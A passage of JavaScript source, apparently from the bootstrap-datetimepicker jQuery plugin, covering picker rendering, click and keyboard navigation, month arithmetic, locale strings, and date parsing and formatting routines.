(var i = 0; i < 60; i += this.minuteStep) {\n        if (minutesDisabled.indexOf(i) !== -1) continue;\n        d.setUTCMinutes(i);\n        d.setUTCSeconds(0);\n        classes = this.onRenderMinute(d);\n        if (this.showMeridian && dates[this.language].meridiem.length === 2) {\n          meridian = (hours < 12 ? dates[this.language].meridiem[0] : dates[this.language].meridiem[1]);\n          if (meridian !== meridianOld) {\n            if (meridianOld !== '') {\n              html.push('</fieldset>');\n            }\n            html.push('<fieldset class=\"minute\"><legend>' + meridian.toUpperCase() + '</legend>');\n          }\n          meridianOld = meridian;\n          txt = (hours % 12 ? hours % 12 : 12);\n          html.push('<span class=\"' + classes.join(' ') + '\">' + txt + ':' + (i < 10 ? '0' + i : i) + '</span>');\n          if (i === 59) {\n            html.push('</fieldset>');\n          }\n        } else {\n          txt = i + ':00';\n          html.push('<span class=\"' + classes.join(' ') + '\">' + hours + ':' + (i < 10 ? '0' + i : i) + '</span>');\n        }\n      }\n      this.picker.find('.datetimepicker-minutes td').html(html.join(''));\n\n      var currentYear = this.date.getUTCFullYear();\n      var months = this.setTitle('.datetimepicker-months', year)\n        .end()\n        .find('.month').removeClass('active');\n      if (currentYear === year) {\n        // getUTCMonths() returns 0 based, and we need to select the next one\n        // To cater bootstrap 2 we don't need to select the next one\n        months.eq(this.date.getUTCMonth()).addClass('active');\n      }\n      if (year < startYear || year > endYear) {\n        months.addClass('disabled');\n      }\n      if (year === startYear) {\n        months.slice(0, startMonth).addClass('disabled');\n      }\n      if (year === endYear) {\n        months.slice(endMonth).addClass('disabled');\n      }\n\n      html = '';\n      year = parseInt(year / 10, 10) * 10;\n      var yearCont = this.setTitle('.datetimepicker-years', year + '-' + (year + 9))\n        .end()\n        .find('td');\n      year -= 1;\n      d = new Date(this.viewDate);\n      for (var i = -1; i < 11; i++) {\n        d.setUTCFullYear(year);\n        classes = this.onRenderYear(d);\n        if (i === -1 || i === 10) {\n          classes.push(old);\n        }\n        html += '<span class=\"' + classes.join(' ') + '\">' + year + '</span>';\n        year += 1;\n      }\n      yearCont.html(html);\n      this.place();\n    },\n\n    updateNavArrows: function () {\n      var d = new Date(this.viewDate),\n        year = d.getUTCFullYear(),\n        month = d.getUTCMonth(),\n        day = d.getUTCDate(),\n        hour = d.getUTCHours();\n      switch (this.viewMode) {\n        case 0:\n          if (year <= this.startDate.getUTCFullYear()\n            && month <= this.startDate.getUTCMonth()\n            && day <= this.startDate.getUTCDate()\n            && hour <= this.startDate.getUTCHours()) {\n            this.picker.find('.prev').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.prev').css({visibility: 'visible'});\n          }\n          if (year >= this.endDate.getUTCFullYear()\n            && month >= this.endDate.getUTCMonth()\n            && day >= this.endDate.getUTCDate()\n            && hour >= this.endDate.getUTCHours()) {\n            this.picker.find('.next').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.next').css({visibility: 'visible'});\n          }\n          break;\n        case 1:\n          if (year <= this.startDate.getUTCFullYear()\n            && month <= this.startDate.getUTCMonth()\n            && day <= this.startDate.getUTCDate()) {\n            this.picker.find('.prev').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.prev').css({visibility: 'visible'});\n          }\n          if (year >= this.endDate.getUTCFullYear()\n            && month >= this.endDate.getUTCMonth()\n            && day >= this.endDate.getUTCDate()) {\n            this.picker.find('.next').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.next').css({visibility: 'visible'});\n          }\n          break;\n        case 2:\n          if (year <= this.startDate.getUTCFullYear()\n            && month <= this.startDate.getUTCMonth()) {\n            this.picker.find('.prev').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.prev').css({visibility: 'visible'});\n          }\n          if (year >= this.endDate.getUTCFullYear()\n            && month >= this.endDate.getUTCMonth()) {\n            this.picker.find('.next').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.next').css({visibility: 'visible'});\n          }\n          break;\n        case 3:\n        case 4:\n          if (year <= this.startDate.getUTCFullYear()) {\n            this.picker.find('.prev').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.prev').css({visibility: 'visible'});\n          }\n          if (year >= this.endDate.getUTCFullYear()) {\n            this.picker.find('.next').css({visibility: 'hidden'});\n          } else {\n            this.picker.find('.next').css({visibility: 'visible'});\n          }\n          break;\n      }\n    },\n\n    mousewheel: function (e) {\n\n      e.preventDefault();\n      e.stopPropagation();\n\n      if (this.wheelPause) {\n        return;\n      }\n\n      this.wheelPause = true;\n\n      var originalEvent = e.originalEvent;\n\n      var delta = originalEvent.wheelDelta;\n\n      var mode = delta > 0 ? 1 : (delta === 0) ? 0 : -1;\n\n      if (this.wheelViewModeNavigationInverseDirection) {\n        mode = -mode;\n      }\n\n      this.showMode(mode);\n\n      setTimeout($.proxy(function () {\n\n        this.wheelPause = false\n\n      }, this), this.wheelViewModeNavigationDelay);\n\n    },\n\n    click: function (e) {\n      e.stopPropagation();\n      e.preventDefault();\n      var target = $(e.target).closest('span, td, th, legend');\n      if (target.is('.' + this.icontype)) {\n        target = $(target).parent().closest('span, td, th, legend');\n      }\n      if (target.length === 1) {\n        if (target.is('.disabled')) {\n          this.element.trigger({\n            type:      'outOfRange',\n            date:      this.viewDate,\n            startDate: this.startDate,\n            endDate:   this.endDate\n          });\n          return;\n        }\n        switch (target[0].nodeName.toLowerCase()) {\n          case 'th':\n            switch (target[0].className) {\n              case 'switch':\n                this.showMode(1);\n                break;\n              case 'prev':\n              case 'next':\n                var dir = DPGlobal.modes[this.viewMode].navStep * (target[0].className === 'prev' ? -1 : 1);\n                switch (this.viewMode) {\n                  case 0:\n                    this.viewDate = this.moveHour(this.viewDate, dir);\n                    break;\n                  case 1:\n                    this.viewDate = this.moveDate(this.viewDate, dir);\n                    break;\n                  case 2:\n                    this.viewDate = this.moveMonth(this.viewDate, dir);\n                    break;\n                  case 3:\n                  case 4:\n                    this.viewDate = this.moveYear(this.viewDate, dir);\n                    break;\n                }\n                this.fill();\n                this.element.trigger({\n                  type:      target[0].className + ':' + this.convertViewModeText(this.viewMode),\n                  date:      this.viewDate,\n                  startDate: this.startDate,\n                  endDate:   this.endDate\n                });\n                break;\n              case 'clear':\n                this.reset();\n                if (this.autoclose) {\n                  this.hide();\n                }\n                break;\n              case 'today':\n                var date = new Date();\n                date = UTCDate(date.getFullYear(), date.getMonth(), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds(), 0);\n\n                // Respect startDate and endDate.\n                if (date < this.startDate) date = this.startDate;\n                else if (date > this.endDate) date = this.endDate;\n\n                this.viewMode = this.startViewMode;\n                this.showMode(0);\n                this._setDate(date);\n                this.fill();\n                if (this.autoclose) {\n                  this.hide();\n                }\n                break;\n            }\n            break;\n          case 'span':\n            if (!target.is('.disabled')) {\n              var year = this.viewDate.getUTCFullYear(),\n                month = this.viewDate.getUTCMonth(),\n                day = this.viewDate.getUTCDate(),\n                hours = this.viewDate.getUTCHours(),\n                minutes = this.viewDate.getUTCMinutes(),\n                seconds = this.viewDate.getUTCSeconds();\n\n              if (target.is('.month')) {\n                this.viewDate.setUTCDate(1);\n                month = target.parent().find('span').index(target);\n                day = this.viewDate.getUTCDate();\n                this.viewDate.setUTCMonth(month);\n                this.element.trigger({\n                  type: 'changeMonth',\n                  date: this.viewDate\n                });\n                if (this.viewSelect >= 3) {\n                  this._setDate(UTCDate(year, month, day, hours, minutes, seconds, 0));\n                }\n              } else if (target.is('.year')) {\n                this.viewDate.setUTCDate(1);\n                year = parseInt(target.text(), 10) || 0;\n                this.viewDate.setUTCFullYear(year);\n                this.element.trigger({\n                  type: 'changeYear',\n                  date: this.viewDate\n                });\n                if (this.viewSelect >= 4) {\n                  this._setDate(UTCDate(year, month, day, hours, minutes, seconds, 0));\n                }\n              } else if (target.is('.hour')) {\n                hours = parseInt(target.text(), 10) || 0;\n                if (target.hasClass('hour_am') || target.hasClass('hour_pm')) {\n                  if (hours === 12 && target.hasClass('hour_am')) {\n                    hours = 0;\n                  } else if (hours !== 12 && target.hasClass('hour_pm')) {\n                    hours += 12;\n                  }\n                }\n                this.viewDate.setUTCHours(hours);\n                this.element.trigger({\n                  type: 'changeHour',\n                  date: this.viewDate\n                });\n                if (this.viewSelect >= 1) {\n                  this._setDate(UTCDate(year, month, day, hours, minutes, seconds, 0));\n                }\n              } else if (target.is('.minute')) {\n                minutes = parseInt(target.text().substr(target.text().indexOf(':') + 1), 10) || 0;\n                this.viewDate.setUTCMinutes(minutes);\n                this.element.trigger({\n                  type: 'changeMinute',\n                  date: this.viewDate\n                });\n                if (this.viewSelect >= 0) {\n                  this._setDate(UTCDate(year, month, day, hours, minutes, seconds, 0));\n                }\n              }\n              if (this.viewMode !== 0) {\n                var oldViewMode = this.viewMode;\n                this.showMode(-1);\n                this.fill();\n                if (oldViewMode === this.viewMode && this.autoclose) {\n                  this.hide();\n                }\n              } else {\n                this.fill();\n                if (this.autoclose) {\n                  this.hide();\n                }\n              }\n            }\n            break;\n          case 'td':\n            if (target.is('.day') && !target.is('.disabled')) {\n              var day = parseInt(target.text(), 10) || 1;\n              var year = this.viewDate.getUTCFullYear(),\n                month = this.viewDate.getUTCMonth(),\n                hours = this.viewDate.getUTCHours(),\n                minutes = this.viewDate.getUTCMinutes(),\n                seconds = this.viewDate.getUTCSeconds();\n              if (target.is('.old')) {\n                if (month === 0) {\n                  month = 11;\n                  year -= 1;\n                } else {\n                  month -= 1;\n                }\n              } else if (target.is('.new')) {\n                if (month === 11) {\n                  month = 0;\n                  year += 1;\n                } else {\n                  month += 1;\n                }\n              }\n              this.viewDate.setUTCFullYear(year);\n              this.viewDate.setUTCMonth(month, day);\n              this.element.trigger({\n                type: 'changeDay',\n                date: this.viewDate\n              });\n              if (this.viewSelect >= 2) {\n                this._setDate(UTCDate(year, month, day, hours, minutes, seconds, 0));\n              }\n            }\n            var oldViewMode = this.viewMode;\n            this.showMode(-1);\n            this.fill();\n            if (oldViewMode === this.viewMode && this.autoclose) {\n              this.hide();\n            }\n            break;\n        }\n      }\n    },\n\n    _setDate: function (date, which) {\n      if (!which || which === 'date')\n        this.date = date;\n      if (!which || which === 'view')\n        this.viewDate = date;\n      this.fill();\n      this.setValue();\n      var element;\n      if (this.isInput) {\n        element = this.element;\n      } else if (this.component) {\n        element = this.element.find('input');\n      }\n      if (element) {\n        element.change();\n      }\n      this.element.trigger({\n        type: 'changeDate',\n        date: this.getDate()\n      });\n      if(date === null)\n        this.date = this.viewDate;\n    },\n\n    moveMinute: function (date, dir) {\n      if (!dir) return date;\n      var new_date = new Date(date.valueOf());\n      //dir = dir > 0 ? 1 : -1;\n      new_date.setUTCMinutes(new_date.getUTCMinutes() + (dir * this.minuteStep));\n      return new_date;\n    },\n\n    moveHour: function (date, dir) {\n      if (!dir) return date;\n      var new_date = new Date(date.valueOf());\n      //dir = dir > 0 ? 1 : -1;\n      new_date.setUTCHours(new_date.getUTCHours() + dir);\n      return new_date;\n    },\n\n    moveDate: function (date, dir) {\n      if (!dir) return date;\n      var new_date = new Date(date.valueOf());\n      //dir = dir > 0 ? 1 : -1;\n      new_date.setUTCDate(new_date.getUTCDate() + dir);\n      return new_date;\n    },\n\n    moveMonth: function (date, dir) {\n      if (!dir) return date;\n      var new_date = new Date(date.valueOf()),\n        day = new_date.getUTCDate(),\n        month = new_date.getUTCMonth(),\n        mag = Math.abs(dir),\n        new_month, test;\n      dir = dir > 0 ? 1 : -1;\n      if (mag === 1) {\n        test = dir === -1\n          // If going back one month, make sure month is not current month\n          // (eg, Mar 31 -> Feb 31 === Feb 28, not Mar 02)\n          ? function () {\n          return new_date.getUTCMonth() === month;\n        }\n          // If going forward one month, make sure month is as expected\n          // (eg, Jan 31 -> Feb 31 === Feb 28, not Mar 02)\n          : function () {\n          return new_date.getUTCMonth() !== new_month;\n        };\n        new_month = month + dir;\n        new_date.setUTCMonth(new_month);\n        // Dec -> Jan (12) or Jan -> Dec (-1) -- limit expected date to 0-11\n        if (new_month < 0 || new_month > 11)\n          new_month = (new_month + 12) % 12;\n      } else {\n        // For magnitudes >1, move one month at a time...\n        for (var i = 0; i < mag; i++)\n          // ...which might decrease the day (eg, Jan 31 to Feb 28, etc)...\n          new_date = this.moveMonth(new_date, dir);\n        // ...then reset the day, keeping it in the new month\n        new_month = new_date.getUTCMonth();\n        new_date.setUTCDate(day);\n        test = function () {\n          return new_month !== new_date.getUTCMonth();\n        };\n      }\n      // Common date-resetting loop -- if date is beyond end of month, make it\n      // end of month\n      while (test()) {\n        new_date.setUTCDate(--day);\n        new_date.setUTCMonth(new_month);\n      }\n      return new_date;\n    },\n\n    moveYear: function (date, dir) {\n      return this.moveMonth(date, dir * 12);\n    },\n\n    dateWithinRange: function (date) {\n      return date >= this.startDate && date <= this.endDate;\n    },\n\n    keydown: function (e) {\n      if (this.picker.is(':not(:visible)')) {\n        if (e.keyCode === 27) // allow escape to hide and re-show picker\n          this.show();\n        return;\n      }\n      var dateChanged = false,\n        dir, newDate, newViewDate;\n      switch (e.keyCode) {\n        case 27: // escape\n          this.hide();\n          e.preventDefault();\n          break;\n        case 37: // left\n        case 39: // right\n          if (!this.keyboardNavigation) break;\n          dir = e.keyCode === 37 ? -1 : 1;\n          var viewMode = this.viewMode;\n          if (e.ctrlKey) {\n            viewMode += 2;\n          } else if (e.shiftKey) {\n            viewMode += 1;\n          }\n          if (viewMode === 4) {\n            newDate = this.moveYear(this.date, dir);\n            newViewDate = this.moveYear(this.viewDate, dir);\n          } else if (viewMode === 3) {\n            newDate = this.moveMonth(this.date, dir);\n            newViewDate = this.moveMonth(this.viewDate, dir);\n          } else if (viewMode === 2) {\n            newDate = this.moveDate(this.date, dir);\n            newViewDate = this.moveDate(this.viewDate, dir);\n          } else if (viewMode === 1) {\n            newDate = this.moveHour(this.date, dir);\n            newViewDate = this.moveHour(this.viewDate, dir);\n          } else if (viewMode === 0) {\n            newDate = this.moveMinute(this.date, dir);\n            newViewDate = this.moveMinute(this.viewDate, dir);\n          }\n          if (this.dateWithinRange(newDate)) {\n            this.date = newDate;\n            this.viewDate = newViewDate;\n            this.setValue();\n            this.update();\n            e.preventDefault();\n            dateChanged = true;\n          }\n          break;\n        case 38: // up\n        case 40: // down\n          if (!this.keyboardNavigation) break;\n          dir = e.keyCode === 38 ? -1 : 1;\n          viewMode = this.viewMode;\n          if (e.ctrlKey) {\n            viewMode += 2;\n          } else if (e.shiftKey) {\n            viewMode += 1;\n          }\n          if (viewMode === 4) {\n            newDate = this.moveYear(this.date, dir);\n            newViewDate = this.moveYear(this.viewDate, dir);\n          } else if (viewMode === 3) {\n            newDate = this.moveMonth(this.date, dir);\n            newViewDate = this.moveMonth(this.viewDate, dir);\n          } else if (viewMode === 2) {\n            newDate = this.moveDate(this.date, dir * 7);\n            newViewDate = this.moveDate(this.viewDate, dir * 7);\n          } else if (viewMode === 1) {\n            if (this.showMeridian) {\n              newDate = this.moveHour(this.date, dir * 6);\n              newViewDate = this.moveHour(this.viewDate, dir * 6);\n            } else {\n              newDate = this.moveHour(this.date, dir * 4);\n              newViewDate = this.moveHour(this.viewDate, dir * 4);\n            }\n          } else if (viewMode === 0) {\n            newDate = this.moveMinute(this.date, dir * 4);\n            newViewDate = this.moveMinute(this.viewDate, dir * 4);\n          }\n          if (this.dateWithinRange(newDate)) {\n            this.date = newDate;\n            this.viewDate = newViewDate;\n            this.setValue();\n            this.update();\n            e.preventDefault();\n            dateChanged = true;\n          }\n          break;\n        case 13: // enter\n          if (this.viewMode !== 0) {\n            var oldViewMode = this.viewMode;\n            this.showMode(-1);\n            this.fill();\n            if (oldViewMode === this.viewMode && this.autoclose) {\n              this.hide();\n            }\n          } else {\n            this.fill();\n            if (this.autoclose) {\n              this.hide();\n            }\n          }\n          e.preventDefault();\n          break;\n        case 9: // tab\n          this.hide();\n          break;\n      }\n      if (dateChanged) {\n        var element;\n        if (this.isInput) {\n          element = this.element;\n        } else if (this.component) {\n          element = this.element.find('input');\n        }\n        if (element) {\n          element.change();\n        }\n        this.element.trigger({\n          type: 'changeDate',\n          date: this.getDate()\n        });\n      }\n    },\n\n    showMode: function (dir) {\n      if (dir) {\n        var newViewMode = Math.max(0, Math.min(DPGlobal.modes.length - 1, this.viewMode + dir));\n        if (newViewMode >= this.minView && newViewMode <= this.maxView) {\n          this.element.trigger({\n            type:        'changeMode',\n            date:        this.viewDate,\n            oldViewMode: this.viewMode,\n            newViewMode: newViewMode\n          });\n\n          this.viewMode = newViewMode;\n        }\n      }\n      /*\n       vitalets: fixing bug of very special conditions:\n       jquery 1.7.1 + webkit + show inline datetimepicker in bootstrap popover.\n       Method show() does not set display css correctly and datetimepicker is not shown.\n       Changed to .css('display', 'block') solve the problem.\n       See https://github.com/vitalets/x-editable/issues/37\n\n       In jquery 1.7.2+ everything works fine.\n       */\n      //this.picker.find('>div').hide().filter('.datetimepicker-'+DPGlobal.modes[this.viewMode].clsName).show();\n      this.picker.find('>div').hide().filter('.datetimepicker-' + DPGlobal.modes[this.viewMode].clsName).css('display', 'block');\n      this.updateNavArrows();\n    },\n\n    reset: function () {\n      this._setDate(null, 'date');\n    },\n\n    convertViewModeText:  function (viewMode) {\n      switch (viewMode) {\n        case 4:\n          return 'decade';\n        case 3:\n          return 'year';\n        case 2:\n          return 'month';\n        case 1:\n          return 'day';\n        case 0:\n          return 'hour';\n      }\n    }\n  };\n\n  var old = $.fn.datetimepicker;\n  $.fn.datetimepicker = function (option) {\n    var args = Array.apply(null, arguments);\n    args.shift();\n    var internal_return;\n    this.each(function () {\n      var $this = $(this),\n        data = $this.data('datetimepicker'),\n        options = typeof option === 'object' && option;\n      if (!data) {\n        $this.data('datetimepicker', (data = new Datetimepicker(this, $.extend({}, $.fn.datetimepicker.defaults, options))));\n      }\n      if (typeof option === 'string' && typeof data[option] === 'function') {\n        internal_return = data[option].apply(data, args);\n        if (internal_return !== undefined) {\n          return false;\n        }\n      }\n    });\n    if (internal_return !== undefined)\n      return internal_return;\n    else\n      return this;\n  };\n\n  $.fn.datetimepicker.defaults = {\n  };\n  $.fn.datetimepicker.Constructor = Datetimepicker;\n  var dates = $.fn.datetimepicker.dates = {\n    en: {\n      days:        ['Sunday', 'Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday'],\n      daysShort:   ['Sun', 'Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'],\n      daysMin:     ['Su', 'Mo', 'Tu', 'We', 'Th', 'Fr', 'Sa', 'Su'],\n      months:      ['January', 'February', 'March', 'April', 'May', 'June', 'July', 'August', 'September', 'October', 'November', 'December'],\n      monthsShort: ['Jan', 'Feb', 'Mar', 'Apr', 'May', 'Jun', 'Jul', 'Aug', 'Sep', 'Oct', 'Nov', 'Dec'],\n      meridiem:    ['am', 'pm'],\n      suffix:      ['st', 'nd', 'rd', 'th'],\n      today:       'Today',\n      clear:       'Clear'\n    }\n  };\n\n  var DPGlobal = {\n    modes:            [\n      {\n        clsName: 'minutes',\n        navFnc:  'Hours',\n        navStep: 1\n      },\n      {\n        clsName: 'hours',\n        navFnc:  'Date',\n        navStep: 1\n      },\n      {\n        clsName: 'days',\n        navFnc:  'Month',\n        navStep: 1\n      },\n      {\n        clsName: 'months',\n        navFnc:  'FullYear',\n        navStep: 1\n      },\n      {\n        clsName: 'years',\n        navFnc:  'FullYear',\n        navStep: 10\n      }\n    ],\n    isLeapYear:       function (year) {\n      return (((year % 4 === 0) && (year % 100 !== 0)) || (year % 400 === 0))\n    },\n    getDaysInMonth:   function (year, month) {\n      return [31, (DPGlobal.isLeapYear(year) ? 29 : 28), 31, 30, 31, 30, 31, 31, 30, 31, 30, 31][month]\n    },\n    getDefaultFormat: function (type, field) {\n      if (type === 'standard') {\n        if (field === 'input')\n          return 'yyyy-mm-dd hh:ii';\n        else\n          return 'yyyy-mm-dd hh:ii:ss';\n      } else if (type === 'php') {\n        if (field === 'input')\n          return 'Y-m-d H:i';\n        else\n          return 'Y-m-d H:i:s';\n      } else {\n        throw new Error('Invalid format type.');\n      }\n    },\n    validParts: function (type) {\n      if (type === 'standard') {\n        return /t|hh?|HH?|p|P|z|Z|ii?|ss?|dd?|DD?|mm?|MM?|yy(?:yy)?/g;\n      } else if (type === 'php') {\n        return /[dDjlNwzFmMnStyYaABgGhHis]/g;\n      } else {\n        throw new Error('Invalid format type.');\n      }\n    },\n    nonpunctuation: /[^ -\\/:-@\\[-`{-~\\t\\n\\rTZ]+/g,\n    parseFormat: function (format, type) {\n      // IE treats \\0 as a string end in inputs (truncating the value),\n      // so it's a bad format delimiter, anyway\n      var separators = format.replace(this.validParts(type), '\\0').split('\\0'),\n        parts = format.match(this.validParts(type));\n      if (!separators || !separators.length || !parts || parts.length === 0) {\n        throw new Error('Invalid date format.');\n      }\n      return {separators: separators, parts: parts};\n    },\n    parseDate: function (date, format, language, type, timezone) {\n      if (date instanceof Date) {\n        var dateUTC = new Date(date.valueOf() - date.getTimezoneOffset() * 60000);\n        dateUTC.setMilliseconds(0);\n        return dateUTC;\n      }\n      if (/^\\d{4}\\-\\d{1,2}\\-\\d{1,2}$/.test(date)) {\n        format = this.parseFormat('yyyy-mm-dd', type);\n      }\n      if (/^\\d{4}\\-\\d{1,2}\\-\\d{1,2}[T ]\\d{1,2}\\:\\d{1,2}$/.test(date)) {\n        format = this.parseFormat('yyyy-mm-dd hh:ii', type);\n      }\n      if (/^\\d{4}\\-\\d{1,2}\\-\\d{1,2}[T ]\\d{1,2}\\:\\d{1,2}\\:\\d{1,2}[Z]{0,1}$/.test(date)) {\n        format = this.parseFormat('yyyy-mm-dd hh:ii:ss', type);\n      }\n      if (/^[-+]\\d+[dmwy]([\\s,]+[-+]\\d+[dmwy])*$/.test(date)) {\n        var part_re = /([-+]\\d+)([dmwy])/,\n          parts = date.match(/([-+]\\d+)([dmwy])/g),\n          part, dir;\n        date = new Date();\n        for (var i = 0; i < parts.length; i++) {\n          part = part_re.exec(parts[i]);\n          dir = parseInt(part[1]);\n          switch (part[2]) {\n            case 'd':\n              date.setUTCDate(date.getUTCDate() + dir);\n              break;\n            case 'm':\n              date = Datetimepicker.prototype.moveMonth.call(Datetimepicker.prototype, date, dir);\n              break;\n            case 'w':\n              date.setUTCDate(date.getUTCDate() + dir * 7);\n              break;\n            case 'y':\n              date = Datetimepicker.prototype.moveYear.call(Datetimepicker.prototype, date, dir);\n              break;\n          }\n        }\n        return UTCDate(date.getUTCFullYear(), date.getUTCMonth(), date.getUTCDate(), date.getUTCHours(), date.getUTCMinutes(), date.getUTCSeconds(), 0);\n      }\n      var parts = date && date.toString().match(this.nonpunctuation) || [],\n        date = new Date(0, 0, 0, 0, 0, 0, 0),\n        parsed = {},\n        setters_order = ['hh', 'h', 'ii', 'i', 'ss', 's', 'yyyy', 'yy', 'M', 'MM', 'm', 'mm', 'D', 'DD', 'd', 'dd', 'H', 'HH', 'p', 'P', 'z', 'Z'],\n        setters_map = {\n          hh:   function (d, v) {\n            return d.setUTCHours(v);\n          },\n          h:    function (d, v) {\n            return d.setUTCHours(v);\n          },\n          HH:   function (d, v) {\n            return d.setUTCHours(v === 12 ? 0 : v);\n          },\n          H:    function (d, v) {\n            return d.setUTCHours(v === 12 ? 0 : v);\n          },\n          ii:   function (d, v) {\n            return d.setUTCMinutes(v);\n          },\n          i:    function (d, v) {\n            return d.setUTCMinutes(v);\n          },\n          ss:   function (d, v) {\n            return d.setUTCSeconds(v);\n          },\n          s:    function (d, v) {\n            return d.setUTCSeconds(v);\n          },\n          yyyy: function (d, v) {\n            return d.setUTCFullYear(v);\n          },\n          yy:   function (d, v) {\n            return d.setUTCFullYear(2000 + v);\n          },\n          m:    function (d, v) {\n            v -= 1;\n            while (v < 0) v += 12;\n            v %= 12;\n            d.setUTCMonth(v);\n            while (d.getUTCMonth() !== v)\n              if (isNaN(d.getUTCMonth()))\n                return d;\n              else\n                d.setUTCDate(d.getUTCDate() - 1);\n            return d;\n          },\n          d:    function (d, v) {\n            return d.setUTCDate(v);\n          },\n          p:    function (d, v) {\n            return d.setUTCHours(v === 1 ? d.getUTCHours() + 12 : d.getUTCHours());\n          },\n          z:    function () {\n            return timezone\n          }\n        },\n        val, filtered, part;\n      setters_map['M'] = setters_map['MM'] = setters_map['mm'] = setters_map['m'];\n      setters_map['dd'] = setters_map['d'];\n      setters_map['P'] = setters_map['p'];\n      setters_map['Z'] = setters_map['z'];\n      date = UTCDate(date.getFullYear(), date.getMonth(), date.getDate(), date.getHours(), date.getMinutes(), date.getSeconds());\n      if (parts.length === format.parts.length) {\n        for (var i = 0, cnt = format.parts.length; i < cnt; i++) {\n          val = parseInt(parts[i], 10);\n          part = format.parts[i];\n          if (isNaN(val)) {\n            switch (part) {\n              case 'MM':\n                filtered = $(dates[language].months).filter(function () {\n                  var m = this.slice(0, parts[i].length),\n                    p = parts[i].slice(0, m.length);\n                  return m === p;\n                });\n                val = $.inArray(filtered[0], dates[language].months) + 1;\n                break;\n              case 'M':\n                filtered = $(dates[language].monthsShort).filter(function () {\n                  var m = this.slice(0, parts[i].length),\n                    p = parts[i].slice(0, m.length);\n                  return m.toLowerCase() === p.toLowerCase();\n                });\n                val = $.inArray(filtered[0], dates[language].monthsShort) + 1;\n                break;\n              case 'p':\n              case 'P':\n                val = $.inArray(parts[i].toLowerCase(), dates[language].meridiem);\n                break;\n              case 'z':\n              case 'Z':\n                timezone;\n                break;\n\n            }\n          }\n          parsed[part] = val;\n        }\n        for (var i = 0, s; i < setters_order.length; i++) {\n          s = setters_order[i];\n          if (s in parsed && !isNaN(parsed[s]))\n            setters_map[s](date, parsed[s])\n        }\n      }\n      return date;\n    },\n    formatDate:       function (date, format, language, type, timezone) {\n      if (date === null) {\n        return '';\n      }\n      var val;\n      if (type === 'standard') {\n        val = {\n          t:    date.getTime(),\n          // year\n          yy:   date.getUTCFullYear().toString().substring(2),\n          yyyy: date.getUTCFullYear(),\n          // month\n          m:    date.getUTCMonth() + 1,\n          M:    dates[language].monthsShort[date.getUTCMonth()],\n          MM:   dates[language].months[date.getUTCMonth()],\n          // day\n          d:    date.getUTCDate(),\n          D:    dates[language].daysShort[date.getUTCDay()],\n          DD:   dates[language].days[date.getUTCDay()],\n          p:    (dates[language].meridiem.length === 2 ? dates[language].meridiem[date.getUTCHours() < 12 ? 0 : 1] : ''),\n          // hour\n          h:    date.getUTCHours(),\n          // minute\n          i:    date.getUTCMinutes(),\n          // second\n          s:    date.getUTCSeconds(),\n          // timezone\n          z:    timezone\n        };\n\n        if (dates[language].meridiem.length === 2) {\n          val.H = (val.h % 12 === 0 ? 12 : val.h % 12);\n        }\n        else {\n          val.H = val.h;\n        }\n        val.HH = (val.H < 10 ? '0' : '') + val.H;\n        val.P = val.p.toUpperCase();\n        val.Z = val.z;\n        val.hh = (val.h < 10 ? '0' : '') + val.h;\n        val.ii = (val.i < 10 ? '0' : '') + val.i;\n        val.ss = (val.s < 10 ? '0' : '') + val.s;\n        val.dd = (val.d < 10 ? '0' : '') + val.d;\n        val.mm = (val.m < 10 ? '0' : '') + val.m;\n      } else if (type === 'php') {\n        // php format\n        val = {\n          // year\n          y: date.getUTCFullYear().toString().substring(2),\n          Y: date.getUTCFullYear(),\n          // month\n          F: dates[language].months[date.getUTCMonth()],\n          M: dates[language].monthsShort[date.getUTCMonth()],\n          n: date.getUTCMonth() + 1,\n          t: DPGlobal.getDaysInMonth(date.getUTCFullYear(), date.getUTCMonth()),\n          // day\n          j: date.getUTCDate(),\n          l: dates[language].days[date.getUTCDay()],\n          D: dates[language].daysShort[date.getUTCDay()],\n          w: date.getUTCDay(), // 0 -> 6\n          N: (date.getUTCDay() === 0 ? 7 : date.getUTCDay()),       // 1 -> 7\n          S: (date.getUTCDate() % 10 <= dates[language].suffix.length ? dates[language].suffix[date.getUTCDate() % 10 - 1] : ''),\n          // hour\n          a: (dates[language].meridiem.length === 2 ? dates[language].meridiem[date.getUTCHours() < 12 ? 0 : 1] : ''),\n          g: (date.getUTCHours() % 12 === 0 ? 12 : date.getUTCHours() % 12),\n          G: date.getUTCHours(),\n          // minute\n          i: date.getUTCMinutes(),\n          // second\n          s: date.getUTCSeconds()\n        };\n        val.m = (val.n < 10 ? '0' : '') + val.n;\n        val.d = (val.j < 10 ? '0' : '') + val.j;\n        val.A = val.a.toString().toUpperCase();\n        val.h = (val.g < 10 ? '0' : '') + val.g;\n        val.H = (val.G < 10 ? '0' : '') + val.G;\n        val.i = (val.i < 10 ? '0' : '') + val.i;\n        val.s = (val.s < 10 ? '0' : '') + val.s;\n      } else {\n        throw new Error('Invalid format type.');\n      }\n      var date = [],\n        seps = $.extend([], format.separators);\n      for (var i = 0, cnt = format.parts.length; i < cnt; i++) {\n        if (seps.length) {\n          date.push(seps.shift());\n        }\n        date.push(val[format.parts[i]]);\n      }\n      if (seps.length) {\n        date.push(seps.shift());\n      }\n      return date.join('');\n    },\n    convertViewMode:  function (viewMode) {\n      switch (viewMode) {\n        case 4:\n        case 'decade':\n          viewMode = 4;\n          break;\n        case 3:\n        case 'year':\n          viewMode = 3;\n          break;\n        case 2:\n        case 'month':\n          viewMode = 2;\n          break;\n        case 1:\n        case 'day':\n          viewMode = 1;\n          break;\n        case 0:\n        case 'hour':\n          viewMode = 0;\n          break;\n      }\n\n      return viewMode;\n    },\n    headTemplate: '<thead>' +\n                '<tr>' +\n                '<th class=\"prev\"><i class=\"{iconType} {leftArrow}\"/></th>' +\n                '<th colspan=\"5\" class=\"switch\"></th>' +\n                '<th class=\"next\"><i class=\"{iconType} {rightArrow}\"/></th>' +\n                '</tr>' +\n      '</thead>',\n    headTemplateV3: '<thead>' +\n                '<tr>' +\n                '<th class=\"prev\"><span class=\"{iconType} {leftArrow}\"></span> 